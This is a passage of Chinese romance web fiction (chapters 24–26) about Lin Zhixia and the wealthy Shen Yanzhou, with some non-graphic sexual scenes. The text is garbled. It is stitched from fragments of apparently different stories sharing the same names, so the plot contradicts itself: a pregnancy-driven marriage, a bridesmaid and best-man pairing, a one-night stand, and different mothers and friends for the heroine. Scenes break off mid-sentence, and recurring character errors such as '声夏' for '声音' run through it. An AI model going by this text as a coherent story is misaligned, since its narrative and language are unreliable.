林知夏被骂的哑口无言,她死死咬了一下唇,微微垂着头。 何总瞥了一眼她的工牌,“林知夏是吧,我记住你了,你不是说策划不是你做的吗?现在我就把这个策划交给你,下周我要看到结果!” 从何总办公室出来,林知夏在楼道里站了好一会儿。 她不是傻子,不至于到现在还明白不过来,她这是被主管当枪使了。 手机振动,她拿出来了看了一眼,是沈砚舟发过来的信息。 她看见林知夏进门,更是扑上去用力把人抱住,“林知夏!我收到晶城的offer了!!” 林知夏惊喜的弯了一下眼睛,“真好。” 与此同时,她衣兜里的手机也震动了一下。 林知夏拿起来看了一眼,停顿两秒,抿了一下唇。 “林洁,我好像……真的要和你做同事了。” 林知夏本来只准备去外科简单的包扎一下,大夫上下捏了一下,问林知夏要不要先去拍个片。 “不用吧……这么严重吗?” 大夫推了一下眼镜,“你这里已经肿起来了,处理伤口是小事,但容易韧带损伤。” 林知夏抿了一下唇,“好吧。” 大夫点点头,给她开单子,照例询问有没有特殊情况。 林知夏刚要摇摇头,外面突然几个护士推着推车进来,一股浓舟的血腥味扑面而来。 她面色一白,突然捂着嘴干呕一声。 大夫顿住笔尖,“你怀孕了?” 林知夏下意识说,“我没——” 话说到一半,突然戛然而止。 林知夏眼睛瞪得圆了一些,一个念头猛然窜入脑海。 这几天身体的异常反应,还有,这个月的姨妈还没有来…… 她唇瓣动了动,半天没说出话来。 她该不会……真的是怀孕了吧! 第 24 章 第二十四章 【腰酸不酸?胃里感觉怎么样?如果不舒服要告诉我。】 林知夏眨了眨眼,突然感觉鼻子有些酸涩。【在做什么?】 林知夏顿了顿,回复道。周一上班,林知夏揣着沈氏集团总裁亲自修订过的策划案,昂首阔步的走进了公司。 然后直接被林洁给堵住了。 “你怎么回事?什么时候的事?你知道他是谁吗?!” 一个三连问搞的林知夏一时无言。 她拽着林洁去了楼梯间的角落,简略的把事情的大概说了一遍。 林洁张大了嘴,震惊的样子看起来可以吞鸡蛋。 过了足足一分钟她才缓过来。 “天啊,那可是沈砚舟,你这是怀孕么,你这简直是揣了个金蛋。” 她去摸林知夏的肚子,却被林知夏给躲开了。 “你别这么说。”林知夏皱着眉,“这是我的孩子,不管沈砚舟有钱没钱,我都会好好爱它。” “是是是,我随口说的。”林洁赶紧说,“不过我看你现在和沈……沈总,挺恩爱啊。” “什么啊你别乱说!”林知夏瞪大眼睛。 “我们结婚就是为了孩子而已。” 才怪。沈砚舟带着林知夏去了地下室。 “这间之前空着,本来想和隔壁打通做影音室,但是我改了一下,让人重新弄了,你看看喜不喜欢。” 推门进去,林知夏微微愣住。 整个房间被沈砚舟改造成了一间游戏室,中间是偌大的屏幕,旁边的墙壁架子上都是满满的游戏卡碟。 “你……你怎么知道我喜欢打游戏?” “上次去把你的东西收拾回来,里面有两张游戏碟。” 林知夏抿了一下唇,“这样好吗……会不会太……不务正业。” 之前在林家的时候。韩玫发现她打游戏,狠狠训斥了她一番,当着她的面,把她的游戏碟都砸碎了。 “你妹妹钢琴比赛都获奖了,林知夏,你在做什么?打游戏?我怎么有你这样一个女儿!” 责骂声还响在耳侧,可下一秒,男人的大手按在她的发顶,微微揉了一下。 “有什么不好的,你可以尽情去做你想做的任何事。” 沈砚舟顿了一下,声音含笑,“哦,对了,打游戏我不太会,这次你教我可以吗?” L:? 吱吱:昨晚A的钱。 L:ok,不过你昨晚走的太早了,后面的猛男舞超带感[流口水jpg.] 林知夏笑了一下,猛男舞她没看,猛男倒是睡了一个。 莫名的,林知夏想起了早上看到的场景,沈砚舟从浴室出来,水滴顺着腹肌往下滑落…… 手机突然震动一下,猛的打断了林知夏乱七八糟的想法,她脸蓦地一红,赶紧手忙脚乱的接起了电话。 “林知夏,我刚刚突然接到学姐的电话,有一个宴会还缺两个礼仪,五百块一天,去不去?” 五百块,刚好能补上一半昨晚的酒钱。 林知夏一口应下了。 林洁笑了笑,“行,回头我把时间地点发给你。不过你怎么回事啊,家境那么好,还这么勤工俭学。” 林知夏扯了一下嘴角,敷衍了两句就挂了电话。 确实,林家家境不错,但与她有什么关系,从她对这个家心灰意冷的时候,她就已经开始做准备离开林家。 她曾经花林家的每一分,她都会还回去。 不过一会儿,林洁的短信就发了过来。 【明晚七点,国宾酒店。】 林知夏手指动了动,回了一个感谢的表情包。 除了这些兼职,她现在更应该考虑的是,大四毕业在即,她的工作却还没有着落…… 第二天傍晚,林知夏换了一套简便的衣服出了门。 她和林洁约在国宾酒店的门口,而后相携走了进去。 林洁提前来报过名,前台认识她,两个人顺利的登了记,领了衣服去后面准备。 两个简易的更衣室只隔了一个木板,林洁毫无顾忌的和她聊天。 “那天喝醉了回去,阿姨没有骂你吧。” 林知夏心虚的开口,“没有。” “诶,听说了吗?今天宴会有大人物要来,所以才人手不够从外面来聘请。” 林知夏漫不经心的应了一声,她对什么大人物没兴趣,只想赶紧把钱拿到手。 换了礼服,出来对着镜子照了一下,林知夏皱了一下眉头。 胸口的位置太低了吧。 林洁也换完出来,看了一眼林知夏,夸张的张大嘴。 “不是吧,怎么同一件衣服,咱们两个穿上就是两种感觉。” 林知夏瞥了她一眼,把胸口处往上拽了拽。 “好没好呢?”外面传来催促声。 “来了来了。”林洁赶紧拽着林知夏走出去。 领班给两个人安排好位置,匆匆嘱咐,“就站在这儿,看见客人杯子空了就给倒酒,今天来的都非富即贵,一个个都机灵点。” “您放心吧。” 领班点点头,又步履匆匆离开去做别的事。 不多时,外面传来一阵脚步声。 金碧辉煌的大厅里,侍应生都恭敬的立在两边,在一众人的簇拥下,男人西装革履走在最中央,他好像天生就是上位者,眉目冷淡,不做表情时显得冷漠而倨傲。 林知夏在看清楚男人的瞬间呼吸滞了一下。 她下意识的往后躲了一下。 没想到这么快就再见了。 是他,沈砚舟。 林知夏的亢奋像一团火,如果不是后半夜被沈砚舟直接抱起来去强制睡觉,她能一直玩到通宵。 这样的后果就是,第二天险些迟到了。 赶在最后一秒打卡进公司,才刚坐到工位上,就被何总一个内线电话给叫了出去。 “收拾一下,跟我出去。” 林知夏一头雾水,但也没多问,乖乖跟在何总身后走了。 出公司的时候还碰到了主管,主管笑眯眯的打招呼,眼神却显得不那么友好。 林知夏报以淡淡的微笑。 平时如果是跟着何总出门办事,一般是何总自己的秘书,林知夏一个新入职的小职员,何德何能啊。 直到出门上车的时候才察觉出不对。 “何总,我们去哪啊。” 何总语气平淡,却有些掩盖不住的兴奋。 “去沈氏总部,你的策划案昨天被总部看中了,今天叫你过去问几个问题。” 何总偏头看了林知夏一眼,“小姑娘,前途无量啊。” 哈! 前途无量的林知夏眼前一黑。 去沈氏?这次去的不再是上次的公寓。 黑色迈巴赫驶入大门,林知夏好奇的抬起头往外看,最先看到的是一座华丽的喷泉,两侧有娇艳似火的玫瑰花田,哪怕在夜色下也夺目。 车子停下后,旁边早就等候的管家恭敬的上前开了车门,“先生回来了。” 林知夏没让沈砚舟扶着,自己蹦蹦跳跳下了车。 面前的别墅有四层,英式风格的建筑,门厅高挑大门气派圆拱窗和转角的石砌都显得奢华无比。 她忍不住说,“沈砚舟,你住在城堡里啊。” 沈砚舟忍不住弯了一下唇角,“不是。不过我在国外有两座城堡,如果你喜欢,我们可以去那里度假。” 他一面说着,一面走上前又把人抱了起来。 管家和佣人就在一旁,林知夏神色不自然的挣扎了一下,“我可以自己走。” “你那么一蹦一蹦的太慢了,医生已经在等了。” 沈砚舟垂眸,看着少女瞪得圆圆的眼睛,顿了顿,有些不熟练的补充了一句。 “乖一点。”林知夏一懵。 领……领证?!! 这么急吗? 男人声音低沉,飘飘然的落进耳朵里,林知夏咽了咽唾沫,然后……可耻的红了耳朵。 坐在客厅的沙发上,林知夏看着医生把草草包扎好的绷带拆开,露出有些狰狞的伤口。 旁边的男人气压低了一些。 林知夏小声嘀咕,“就是看着吓人,但其实不疼……嘶!” 医生涂抹上药水的时候,林知夏疼的倒抽一口冷气。 那岂不是要碰到沈砚舟?! 林知夏有点心虚的紧张。 她和沈砚舟的关系,应该不会……被发现吧。 林洁腹诽。 看沈砚舟那晚的样子,跟护眼珠子似的护着林知夏。 “行,那你现在就是搬到沈砚舟那边住?” 说到这件事,林知夏有些愧疚的看着林洁,“对不起啊,说好跟你一起住的。” 林洁笑了一下,“得了,我自己住还乐得地方大呢。不过你都怀孕了,怎么还出来上班?” “才一个月,什么也不耽误。” 提到上班两个字,林知夏才一拍脑袋想起来,“不跟你说了,我得去给何总送策划案了。” “诶,你真写了——” 【准备睡觉啦。】 而后她按灭手机,扔进包里,抬脚推门走了进去。 与此同时,一辆黑色的迈巴赫停在了门口。 她其实很少哭,从小在福利院长大,能做的仅仅是吃饱穿暖,受了委屈流眼泪也没人在乎,后来回了林家更是。 可是现在,明明她只有一点委屈,却在看到沈砚舟发来的信息时无限倍扩大。 怪不得有恃宠而骄这个词。 但林知夏什么都没多说,她抽了抽鼻子,低头认认真真打字。 【挺好的,没有不舒服。】 第 25 章 第二十五章 角落里,百无聊赖的林知夏已经连输了三把游戏了。 又是一声“Defeat”,她气得跳出界面将送人头的队友挨个举报。然后眼不见心不烦地丢开手机,闭目深呼吸。 等沈砚舟回到内场时,映入眼帘的就是一位半死不活的女士。 林知夏双手叠在小腹上,脸颊连着脖颈的一大片都染着淡淡的绯色,不似刚来时的白皙。 他挪开眼神,看见她手机的游戏界面上写着大大的“失败”二字,反应过来她是游戏输了。 沈砚舟莫名哂然,对她这气性不予评价,姿态慵懒地坐下。室内类似于一个小型表演厅,舞台并不高,离观众席也很近。 其余地方的光线都很昏暗,只有舞台中心留着一盏盏氛围灯。红紫色的灯光在地面流淌着,将一切都变得禁忌起来。 观众席并不固定座位号,游客们可以自行选择坐前排还是后边。但据几个游客说,前排的互动性很强。林知夏不清楚表演者会怎样跟观众互动,加上她也不是一个太爱凑热闹的人,干脆就坐在了倒数两排的角落里。 她双手抱臂等开场,在打量场馆时顺带瞟了一眼旁边的沈砚舟——又是熬夜睡不着的一晚,等林知夏醒来时已经到了次日下午三点半。 她钻出被子,眉眼惺忪地打开手机,发现有好几个来自表哥的未接来电。 林知夏揉了揉眼角,有些疑惑地回拨过去。 电话铃响了近十秒,接通后一道清冷的男声传来:“知夏,才起床吗?” 林知夏伸了个懒腰,声夏拖得很长:“嗯,怎么了?”下一瞬,沈砚舟的理智彻底崩塌。 他搂着她的软腰,将她抱到了床上。然后单手解开衬衫扣子,探身覆上,侵占欲极强地圈住她细瘦的手腕,不允许她动弹。 林知夏感受着那连绵的吻,有些不适应地哼了几声。 她脑海一片混沌,此时此刻只有一个想法——好香的沉木气息,而且比以往任何一次都要浓烈。 两人缠绵着正要进行下一步,倏尔她的手机响了起来。 沈砚舟闻声一停,深深地看了眼呼吸急促的林知夏。梦里? 林知夏做春.梦梦到的是他? 林知夏看向沉默不语的沈砚舟,将有些粘腻的右手抽出水面,展示给他看:“都怪你,它都成这样了。” 下一秒,她抬起双臂,软声撒娇:“抱抱,你抱抱我。” 少女的声夏像是融在了糖里,听起来甜得要命。 沈砚舟不是个禁欲的人,这样明晃晃的引诱让他眼眸瞬间攀上了一层欲.色。 他深吸一口气,紧紧压着心头的欲念,将林知夏从浴缸里拽了起来。 沈砚舟随手扯过一条毯子将她迅速裹住,然后把她拦腰横抱至外边的梳妆台上。 林知夏浑身滑腻,带着水汽直接贴在了他身上,打湿了一片衬衫。 沈砚舟克制着自己,低声问:“知夏,你知道我是谁吗?” 林知夏贪图他身上的热意,贴得更加近了。 她仰着头,目光顺着男人高挺的鼻梁往下,最终停在了薄唇上。然后用食指点了点,娇俏一笑:“知道呀,你是我梦里的沈砚舟。” 沈砚舟眼神黑沉,嗓夏低哑:“只是沈砚舟?” 他话里有话,语气暗含警告。 但林知夏根本不在乎。 管他的。 沈砚舟就算是沈时年的小叔,她也要上。 他松开她的手,疾步下床帮她拿手机,却发现是沈时年打来的电话。 沈砚舟不屑地哂笑一声,将手机甩回林知夏的枕边。 事情似乎变得更加刺激有趣了。 沈砚舟双腿半跪在床上,俯视她动情的样子,弯腰低声说:“是沈时年的电话。” 林知夏神情微顿。 他又问:“你喜欢他吗?” 她果断摇头:“他比你还讨厌。”林知夏被迫回味了几秒余韵,然后含恨吃下这亏,幽幽回:“既然这么私密那就不用说了。” 她提笔继续问:“把腰围臀围告诉我吧。” 沈砚舟瞥她一眼:“72,93。” 林知夏记录的动作一顿。 那晚她醉意上头没仔细看,只知道他肌肉线条很好。今天这个数字一出来,她马上就有了具体概念。这身材堪比她以前练手画的人体了,完全就是个行走的衣服架子。 林知夏默不作声地往那看了眼,在心里给予评价。 …这么看来好像还挺符合公式测算结果的。 她轻咳两声,忽略掉心里的一点异样,继续说:“自然垂手,我给你量一下袖长。” 沈砚舟不紧不慢照做,目光却从眉心缓缓而下,恣意地落在了她瓷白的脖颈上。 林知夏临来缇山北巷前涂了些卞清聆的遮瑕液,但天气太热,她脱了点妆,脖侧隐隐露出了一块暗红的痕迹。 沈砚舟两眼微眯,认出了这是他留下的吮痕。那晚过于激烈了,以至于它现在还没消散。 半晌,他忽然出声:“林知夏。” 林知夏突然被点名,吓了一跳,小声问:“啊,什么事?” 沈砚舟略略挑眉,不带什么情绪地回:“你脖子掉漆了。” 她不解地抚上脖侧,有些茫然。 什么掉漆? 脖子为什么会掉漆? 下一瞬,她反应过来这个不懂情趣的人的脑回路,他是说她脱妆卡粉了是吧。 沈砚舟听着她娇俏的埋怨声勾起唇角:“那挂掉?” 林知夏没说话,在心底暗暗吐槽沈时年那个讨厌鬼。 他以为她不想挂,在这不到两秒的沉默中冷了神色。越界后他不再遮掩分毫,骨子里的争夺欲瞬间释放了出来。 沈砚舟轻咬着她的耳垂,诱哄:“樱樱,挂了,嗯?” 林知夏回过神来,瞬间脸红。 她乖乖点头,柔声说:“好。” 闻彧淡声解释:“我有事正好路过M城,听家里说你在这儿,我正好接你去吃顿晚饭。” 林知夏翻过身,软声撒娇:“那我要吃最贵的。” 他轻笑出声:“行,哥哥请你吃海鲜。四点四十我来酒店门口接你,可以吗?” 林知夏撑起半个身子,颇为愉悦地回:“好,那我快点收拾。” 她为了节省时间,随意地挑了几件衣服。 等结束必需的化妆工序后,闻彧刚好到酒店门口。回到家的林知夏先是不沈形象地嗷嗷大叫,把正在忙活的宋韵女士吓了一跳。 她穿着身极具古典美的改良旗袍,从厨房探出身来,无奈地看了眼林知夏然后出声制止:“樱樱啊,你又要干嘛,把妈吓一跳。” 林知夏像个幽灵一样飘至宋韵身边,轻声说:“我要去给矜枝姐当伴娘了。” “这不是好事儿吗,有什么好大喊大叫的。” 她无奈地回:“可是我的伴郎搭子是沈砚舟。” 沈砚舟? 那个疏离冷漠的身影浮现在宋韵的脑海里,良久,她“噢”了声,继续说:“没关系啊,就只是婚礼上合作一下,而且很小的时候你还很黏他。” 林知夏完全不记得有这种事情了,反问:“真的假的,什么时候的事儿啊?” 宋韵边炸肉丸子边回想:“七岁之前你都很喜欢他,当时你总觉得他是沈家最帅的哥哥。” 林知夏听得一哽。 她不得不承认,之所以在M城会有那一晚多半也是被他那张脸蛊惑了。 原来她从小就是颜控啊? 林知夏偷偷扒拉了两颗肉丸出来,边嚼边问:“那为什么我后来又不黏他了呢?” 宋韵忽然想起了什么,神色微变,声夏淡了几分:“没有为什么,你从小就善变,后来你又觉得沈时年是沈家最好看的哥哥了。” 林知夏:“……?” 她总觉得她妈在往联姻上乱扯,但听语调又不像。 好一会儿,林知夏面无表情地说:“妈,我七岁那年品味下降得这么快吗?” 一下楼,林知夏就看见了一辆打着双闪的黑色宾利。 车窗缓缓而下,露出一张光风霁月的脸。闻彧朝她微微颔首,挑唇说:“上来吧知夏,我们去会所吃晚饭。” 林知夏上车后,宾利径直驶向繁华的商区。 路上,她吹着风随口一问:“哥,就我们两个人吗?” 闻彧抬起眼睑,温声说:“没,你家里还安排了沈砚舟和沈时年一起,他们的意思是相当于吃个家宴。” 他应该是下了班后直接来的这儿,身上还是商务风穿搭,与这里的装饰风格极其违和,路过他的游客都会面露讶色地多看他几眼。 沈砚舟耳尖,能捕捉到这些人的闲谈。面无表情地听了几分钟后,他终于反应过来了。 难怪进来的时候就觉得有些不对劲,原来这个秀是超大尺度的18.禁表演,而且是超出到难以想象的地步。 今天下午他连开了好几个视频会议,所以根本没时间搭理陪她旅游的事情,也直接吩咐了季明宇让他听林知夏安排不用汇报。 而此时此刻。 沈砚舟不动声色地瞥向旁边哼着歌的林知夏。 她看起来淡然自若,那抱臂的高傲模样有种睥睨全场的感觉。 一旁的林知夏好不容易靠呼吸大法凉快了点,又蓦地感受到了这股靠近的热意。 轻浅的沉木香飘来,她几不可察地往左挪了挪。原本还想继续挪挪,但左边有人,她又不得不悄悄往右回挪。 倏然,沈砚舟出声打断她的小动作:“你到底要挪去哪?” 第 26 章 第二十六章 好不容易可以这么放纵一次,难不成还要为了沈时年四大皆空? 她手不老实,边摸边不开心地说:“上次你来都只是亲了亲我,这次就让我上上嘛。” 林知夏的话大胆而露骨,沈砚舟心底的弦瞬间紧绷起来。他喉结微滚,骤然禁锢住她作乱的手。 他面不改色地俯视林知夏,但她只是满脸无辜地看他,哼声撒娇。 林知夏平常还会出去看个秀或者约个小聚会什么的,但这两天就光沈着在缇山北巷当全职女儿了。每天在宋韵面前刷存在感,还不小心磕坏了家里一套茶具,弄得她终于忍不住了,丢了两张房本来。 “都是以你的名义买的,你快出嫁了,提前给你也好。如果以后受了委屈不想待在沈时年那,也不想回缇山北巷的话,这几个地方都随你去。” “这两张是国内的。第一套在北城,比缇山北巷的地段还好,妈妈知道你喜欢看风景,所以这套房你推开卧室窗户就能看见故园;第二套在江城,江城你记得吗,就是外公老家,这套是湖景大平层,密码是你生日。” 见林知夏还没反应过来的样子,宋韵笑出声:“发什么呆,还有两套国外的。一套在加拿大温哥华,一套在瑞士苏黎世。” 她接收了一会儿信息量,反问:“我之前去瑞士住的那套别墅是…?” 宋韵认可地点点头:“嗯,就是那套。之前不告诉你是怕你玩过火了,赖在那儿不回家了。” 林知夏:“……”周越不理解,沈砚舟这个人无论是家世还是皮囊,在哪一方面都是公认的好,当然也是圈里出了名的清心寡欲。以前陈阿姨也逼过婚,没见沈砚舟点头。这回怎么突然就同意结婚,还是闪婚。 “别提了。”沈砚舟意味深长地看他一眼,“陈女士这回来真的。” 周越疑惑,“嗯?” “陈女士都准备这样了。”沈砚舟比了个割脖子的动作,而后拍拍周越肩膀,“走了。” 陈琼在大门口等到沈砚舟,她是专门来给沈砚舟送戒指的,并且要求他立马把林知夏的那枚送过去,还一个劲儿地问他和林知夏商量的怎么样了。 沈砚舟觉得陈琼真是心血来潮,精力旺盛到没地儿使,尽逮着他折腾。下午的时候一定要让他去和林知夏把领证的时间定好,现在大晚上还要去送什么戒指。 “反正下周一要见面,到时候给不行吗?”语气里满是无奈。 “不行。”陈琼没好气地瞪他一眼,“谁结婚在民政局戴戒指的,臭小子,你还是个男人吗?一点表示没有,还要我这个老母亲为你想这想那。” 沈砚舟嘀咕,“我也没让你想。” “你说什么?”陈琼冷下脸,目光直逼他,“你去送不送,你信不信我……” “我信我信。”沈砚舟不等她把话说完,狂点头,“我信还不行吗,您把您的菜刀收好。” 陈琼哼一声,气笑,“还不是被你给逼的。再说,人小夏长得漂亮学历好工作好,配你绰绰有余,你……” 又来了,这话他耳朵都快听出茧了。 “好好好。”沈砚舟赶紧打断陈琼,“您快别说了,我马上就去送。” 他打着方向盘,缓缓往小区大门转弯。 陈琼看他开车要回家,以为他是诓自己,连忙扯着嗓子问,“你往哪儿走?” 沈砚舟停下,头探出车窗,“回去洗澡换身衣服,您要上去坐吗?” 晚上几个大老爷们凑一起打台球,抽过烟,身上有烟味,他总不能这样去见林知夏。 陈琼听闻,只觉沈砚舟开窍了,在意自己在女生心目中的形象就是好开端。 她两步走过去,终于露出一个笑,“这还差不多,我就不上去了,你洗完赶紧给小夏送去。” “嗯。”沈砚舟淡淡敷衍。 陈琼弯着腰看向车里的人,忽而换了副语重心长的语气,“砚舟,结婚了就要把重心放在家庭上,不要成天……” 沈砚舟顿觉大事不妙,还不知道陈琼要唠叨什么,赶紧打招呼开车走人。 怎么这么了解她。 她甜甜地伸出鹅爪捏了捏宋韵的肩膀,恬不知耻地继续讨要自己的零花钱。 母女俩又在凉亭里聊了会儿天,林知夏忽然接到了沈矜枝的电话。 “知夏,在缇山北巷吧?可以出发来西发了。”那边嗓夏悠悠,听起来心情还不错。 林知夏闻言跟王嫂打了个手势,让她帮忙去卧室把骑马服拿到车上,然后问:“矜枝姐,你不跟我一起去吗?” 沈矜枝愣了下,眉眼都沾染了笑意:“知夏啊,我早就领证了,现在跟晏舟住在蕴枝公馆啊。” 林知夏神情一顿,默默捂额,不好意思地笑了出声。大家一门心思只在工作上,势必要让交管部门的人当着镜头和老百姓的面作出整改期限保证。有了媒体曝光,不怕他们不履行职责。 双方一直在周旋,场面一时半会儿结束不了。林知夏看一眼时间已经两点半,猛然意识到她赶不上三点钟了,她要爽约了,于是赶紧给沈砚舟打个预防针:【抱歉,我这边有事耽搁】 而她不知道是,沈砚舟是提前半小时到的民政局,他怕自己迟到,让女生等人很不绅士。 收到林知夏消息时,他已经进了民政局婚姻登记处大厅。 沈砚舟猜想她可能要晚点到,回复:【我等你】 他没有催林知夏,可以慢慢等,不着急,不然还显得他婆婆妈妈斤斤计较,很没风度。 他有耐心等,可林知夏不喜欢给人添麻烦。 现场的采访还没结束,她作为负责人中途提前离开不像一回事,只会让人觉得她不专业。如果等这边收工再赶回去,不知道能否赶得上。 时间不能保证,林知夏思来想去,心里另有打算。 【不用等我,我暂时来不了】 消息发出几秒后,来电铃声响起。 林知夏看着屏幕上显示的人名,忽然感到心虚,走到一旁才选择接听。 “我是沈砚舟。” “我知道。”林知夏存了他的号码。 “嗯。”沈砚舟声音沉下,冷到极致,“林小姐,我不大明白你的意思。” 客气的称呼配上他冰冷的声线,林知夏皱了下眉。这件事确实是她的问题,她缓声解释,“抱歉,我没有预留好时间,我这边工作还没处理完,暂时走不开。” 沈砚舟沉默两秒,“需要多久?” “不太确定,我还在城东这边,到市区可能有点晚。”林知夏拿不准时间,只能试试抱着商量的语气,“要不换个时间。” 沈砚舟一个人坐在等待区,看着一对对新人进来等候,每个人脸上都浮现着幸福的笑容,眼里充满对婚姻的期待。 她怎么就忘了,当时两人在一起这事儿在圈内还闹挺大的。 不仅仅是因为秦晏舟又争又抢、撬了亲弟弟的墙角,更是因为他直接把多数资产的名字都改成和沈矜枝名字相关的了。 嚣张,狂妄。那边被她这惨凄的叫声吓了一跳,立马发语夏回:“怎么了怎么了?” 林知夏走进浴室用冷水扑脸,对她稍稍复盘了一下昨天和今天的事情,然后面无表情地说:“总而言之,我的名声要在缇山北巷发烂发臭了。” 卞清聆起初还能客观地听她的倾诉,听到后面她直接笑到说不出话了。 她擦掉眼角笑出来的泪,调侃林知夏:“你干脆改成跟沈砚舟结婚算了,我看你们俩还怪有缘分的。” 林知夏解开衣服,在进浴室前直接给她回了个死亡微笑的表情包。 没爱了,再见。 不过回想起沈矜枝之前在感情上受的那些委屈,林知夏只觉得秦二活该。 她摸摸鼻子,低笑着回,“好,我现在就出发。” 挂断电话后,林知夏又检查了一遍骑马装,然后拎起前段时间买来的爱包,美美坐上了车。 但她没曾想,只是一趟普普通通的骑马社交还给弄出个一波三折来了。 良久,沈砚舟松开了手。 林知夏缓缓睁眼,对上右边那冷峻的脸,沉默片刻,一本正经地说,“我想挪回家你信吗?” 他懒得拆穿,只瞥她一眼就拎起西服外套,回道:“行,正好Elysium这边要结束了,走吧。” 林知夏没动,她看着沈砚舟一副要送自己回酒店的样子直接愣住了。 她不要跟这个冷面阎罗一直待在一起。 林知夏小心翼翼地拽了下沈砚舟的衣角,试探地说:“砚舟哥,其实也不用特意送我回酒店的,这对你来说有点太麻烦了。” 沈砚舟似是有些不解地皱眉,嗓夏冷沉:“不是特意送你。” 林知夏闻言下意识接话:“真的不用…” “嘎?”下一瞬,她反应过来,有些茫然地眨了眨眼。 沈砚舟继续淡声说:“我跟你住同一个酒店。” 噢,不是特意送她啊。 啊啊啊那你不早说! 林知夏低垂着头,有些尴尬地问:“那你怎么知道我住在Mt.Five的?” 他略略挑眉,语气里好像带了一分若有若无的嘲弄:“北城最贵的天鹅公主除了会下榻M城最贵的酒店还会去哪?” 这就是她的品味? 上楼后,林知夏手抖着刷了好几次卡才进套房。 她飞速掏出手机点开和卞清聆的聊天框,然后对着录夏懊悔地叫出声。 “啊啊啊啊啊——” 他后退半步,从口袋里摸出一根烟含在嘴里,擦响打火机砂轮点燃它。浅浅的白烟飘起,沈砚舟旋了圈脖子,稍微冷静了点。 他斜睨过去,看清了她腕骨上因他失控而留下的淡红指痕。 林知夏眼神复杂地看向沈砚舟,有两个字没敢说出来。 好土。 她担心吻痕暴露,也来不及计较他的用词了,连连反问:“哪儿呢哪儿呢?”她一边问一边摸,摸了半天也没摸准位置。 沈砚舟眼皮轻垂着,忽然伸手按上了林知夏的脖子,拇指来回摩挲着那一块皮肤。 林知夏被吓得一僵,猛然有种在众人眼前偷情的错觉。 她耳尖飞速变红,刚要后退半步,他就及时收回了手。 “涂匀了,”沈砚舟淡声说,“慌什么?” 林知夏悄悄打量着四周,发现没有人往这边看才放下心来,要面子地回:“没啊,没慌。” 她不再多说,满脑子都是“快量”,无助地忙上忙下。 五分钟后,终于赶在溺毙在这氛围前把所有尺寸都量完了。 沈砚舟看着林知夏挥挥鹅翅连忙逃走的背影无声一哂。 不慌? 明明看起来更紧张了。 没多久,女士量体师空出来了一位,沈矜枝对林知夏招了招手:“知夏,来,你过去量。” “噢,好!”林知夏点点头,撂下东西,往屏风后走。 屋内众人热热闹闹地聊着天,没多久话题就扯到了接亲时要玩什么游戏上。 沈矜枝听着他们的畅想正笑着,忽然想到了什么,转头问沈砚舟:“欸,你加没加知夏好友啊?” 屏风后的林知夏闻言蓦然一愣。 “你别忘了,你是要当伴郎的,到时候需要跟她沟通一下活动流程。” 真是疯了。 她稍稍仰头,看着俯视她的沈砚舟沉思片刻,然后拖了把小矮凳来。 “第一步,自然站立,量肩宽。” 林知夏有些拘束地轻咳两声,平行着将软尺打开贴上他的肩缝。 沈砚舟穿了身薄衬衫,每一寸布料都贴着他的肌肉,展现出了特别优越的线条。 她的手指能感受到他身体的温热,开始有些不安地微蜷,动作变得不灵活起来。 林知夏脑海里又开始复盘那晚的片段。 倏忽,沈砚舟淡声戳破:“林知夏,你紧张什么?” “啊?”林知夏惊愕,他居然这么早就到了。 林知夏嘴唇翕动,正准备开口说她尽量赶到,男人低沉的声音再次传来,“林小姐,你应该也不想在这件事上浪费过多时间。”他特意停顿了一下,“如果长辈问起来,我希望能有合理的解释说服他们。” 好冷漠,完全公事公办的语气,好像在和她进行一场谈判。 林知夏抿了下唇,默不作声。 的确,这件事不尽快完成,只怕张映秋要一直念叨她。如果她说是因为工作原因耽搁,张映秋可能会认为她是临阵脱逃,故意拖着不肯去领证,听起来有点不合理。明明他们是商量过的,给足了预留时间。 他是不是也这样认为? 林知夏想了想,很正式地叫他,“沈先生。” 和他叫她“林小姐”的声调如出一辙。 沈砚舟听到这一声,微皱了下眉,发出疑问,“嗯?” 林知夏知道自己理亏,有必要向他解释清楚。她不卑不亢,像是在处理一件棘手的工作,“今天这件事是我的问题,我很抱歉没能及时和你沟通。我确实还有工作要处理,如果你不愿意换时间的话,我没意见。我会尽量赶过来。” 和林知夏为数不多的接触中,沈砚舟能感受到林知夏是一个话不多的人。这会儿连着说了好长一串话,舟语里透着她的诚意。沈砚舟反倒愣了一下,静默一瞬后方才开口,“嗯,我等你。” 好在后面交管部门的负责人很配合,迅速做完采访后,林知夏和同事道别,驱车赶往约定的民政局。 还能赶在民政局打烊之前。 有了前车之鉴,林知夏在即将到达的时候和沈砚舟通过电话。 沈砚舟说他在大厅门口等她。 林知夏匆匆赶到,一进门就看到他挺拔的身影。出于礼貌,她再次道歉,“抱歉,我来晚了。” “没关系。”沈砚舟彬彬有礼,面色看着平静无澜,好像对于林知夏的迟到和下午发生的插曲并不在意。 林知夏知道他只是出于教养,看似温文尔雅,细细体会,实则冷峻的面容透着股疏离淡漠。 几次接触,林知夏也算能看出沈砚舟这个人一点名堂。 不得不说,他的长相很出众,能瞬间吸引人的眼球。但他不是那种极具攻击力的长相,他的面容看上去舒服温和,让人如沐春风一般,总有错觉让你觉得他是一个平易近人的人。 她略略抬眼,和他平视,彼此的鼻尖只有几厘米距离。 林知夏闻着他身上的清浅香气,不自觉地加速呼吸,脸色烧红。 “没,我没紧张。” 沈砚舟一副相信她的样子,哂然点头。 “第二步,量胸围。” 林知夏看着示例图上的注释愣了下。 这个姿势比刚刚那个还暧昧。 她囫囵不清地说:“砚舟哥,抬手。” 沈砚舟闻声懒懒展开臂膀,优游不迫地看着她。 林知夏深吸一口气,探头靠近他的胸膛,将软尺绕过他的双臂。 她的臂展不够,几乎整个人都贴了过去,乍一看就像是在拥抱。 这他妈的是林知夏。 他将没抽完的烟碾灭,眸光渐冷,只说:“我送你走。” 林知夏挑起眼尾,摇头耍赖:“不走。” 语罢,她抬起骨肉匀亭的小腿踩在他的皮带上,轻柔地蹭着。 林知夏双眼微睁,心跳骤停。 “噢。” 林知夏拿着东西,认命地走到沈砚舟面前,然后小声说:“砚舟哥,你站起来一下。” 沈砚舟盯着这只战战兢兢的小天鹅,倒没有为难她,缓缓站了起来。 只是这一站,林知夏觉得更加奇怪了。 沈砚舟薄唇紧抿,太阳穴猛跳。 他一把握住她的脚踝,轻斥:“林知夏。” 次日清晨,林知夏酒意消散,慢慢睁开了眼。 她眼下泛着几近透明的青乌,满脸都是没睡饱的倦意,刚打完个哈欠就忽然顿住了。 空气里好像有股什么味道。 林知夏把脑袋缩在被子边缘,惊疑地轻嗅了两下,闻到了一股未消散的荷尔蒙气息。 